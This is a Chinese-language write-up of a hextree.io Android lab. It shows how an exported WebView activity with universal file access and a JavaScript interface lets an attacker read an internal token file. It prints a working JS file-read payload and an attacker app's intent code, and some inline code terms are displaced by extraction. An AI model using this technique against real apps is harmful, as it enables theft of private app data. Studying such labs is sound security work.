利用 WebView 漏洞:绕过 SOP 访问内部应用程序文件

admin 2025年3月5日20:55:23评论9 views字数 2149阅读7分9秒阅读模式

你有没有想过能够从 Android 应用程序中窃取内部文件,例如文件或其他敏感数据?在本文中,我将通过解决 hextree.io 中的实验问题来向您介绍如何完成此作。.db

初步分析

首先,我在 Android Studio 仿真器上安装目标应用程序,并使用 JADX 对其进行反编译以分析其文件。我很快注意到一个标记为AndroidManifest.xmlexported="true"

利用 WebView 漏洞:绕过 SOP 访问内部应用程序文件利用 WebView 漏洞:绕过 SOP 访问内部应用程序文件

为了进一步调查,我检查了该活动的 onCreate() 方法。

利用 WebView 漏洞:绕过 SOP 访问内部应用程序文件利用 WebView 漏洞:绕过 SOP 访问内部应用程序文件

分解 onCreate() 方法

  1. 应用程序使用 检索额外的字符串值 ()。URLgetIntent()
  2. 如果值为 ,则默认为 loading 。nullhttps://www.hextree.io
  3. 然后,它使用以下内容配置 WebView 设置:
settings.setJavaScriptEnabled(true);
settings.setAllowFileAccessFromFileURLs(true);
settings.setAllowFileAccess(true);
settings.setAllowUniversalAccessFromFileURLs(true);

这些设置非常危险,尤其是:

  • setAllowUniversalAccessFromFileURLs(true),它允许 WebView 从多个来源加载文件,包括 、 和 ....等https://content://file://
  • 这可能使攻击者能够通过恶意 HTML 页面读取本地文件,或获得 RCE。

4. 应用程序生成一个随机 UUID 并将其写入名为 的文件中。token.txt

5. 它注册一个名为 的 JavaScript 接口,将其映射到一个类。"hextree"JsObject

6. 最后,它加载提供的 .URL

检查 JavaScript 接口

利用 WebView 漏洞:绕过 SOP 访问内部应用程序文件利用 WebView 漏洞:绕过 SOP 访问内部应用程序文件

该类包含一个函数,该函数:JsObjectauthCallback()

  • 接受令牌作为参数。
  • 读取文件并比较其值。token.txt
  • 如果令牌匹配,则触发方法 (这是我们的目标) 。success()
  • 否则,它不执行任何作。

精心开发漏洞

由于该应用程序允许通用文件访问并提供 JavaScript 接口,因此我们可以通过加载带有恶意 JavaScript 负载的外部 URL 来利用它。

1. JavaScript 有效负载

以下脚本将从函数中窃取令牌并将其传递给函数:token.txtauthCallback()

<script>
  onload = () => {
    let x = new XMLHttpRequest();
    x.onload = () => hextree.authCallback(x.responseText.trim());
    x.open("GET", "file:///data/data/io.hextree.attacksurface/files/token.txt");
    x.send();
  };
</script>

解释:

  • 脚本在页面加载 ( event) 时执行。onload
  • 它发出 XHR 请求以检索 的内容。token.txt
  • 加载后,它会剪裁响应并将其发送到 ,从而触发成功条件。authCallback()

将此有效负载保存在应用程序的内部存储中:file:///data/data/io.hextree.attacksurface/files/exploit.htmlexploit.html

2. 部署攻击

要启动漏洞利用,我们需要创建一个攻击应用程序,该应用程序向易受攻击的 WebView 活动发送意图,指示它加载我们的恶意 HTML 文件。

漏洞利用应用程序代码:

@Override
protectedvoidonCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

Intentintent=newIntent();
        intent.setClassName("io.hextree.attacksurface",
"io.hextree.attacksurface.webviews.Flag40WebViewsActivity");
StringexploitUrl="file:///data/data/io.hextree.attacksurface/files/exploit.html";
        intent.putExtra("URL", exploitUrl);
        startActivity(intent);

    }

这个怎么运作:

  1. 该应用程序通过指定易受攻击的 WebView 活动包和类名称来定位易受攻击的 WebView 活动
  2. 它设置为我们的恶意 HTML 负载的路径。exploitUrl
  3. 它将此 URL 作为额外的字符串 () 传递,并启动 Activity。URL

一旦漏洞利用应用程序启动,易受攻击的 WebView 就会加载我们的有效负载,读取 ,并成功触发 ,授予我们访问该标志的权限。token.txtauthCallback()

利用 WebView 漏洞:绕过 SOP 访问内部应用程序文件利用 WebView 漏洞:绕过 SOP 访问内部应用程序文件

这表明 Android 应用程序中存在严重的 WebView 漏洞,展示了如何利用不安全的设置来窃取内部文件。

原文始发于微信公众号(安全狗的自我修养):利用 WebView 漏洞:绕过 SOP 访问内部应用程序文件

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月5日20:55:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用 WebView 漏洞:绕过 SOP 访问内部应用程序文件https://cn-sec.com/archives/3797170.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息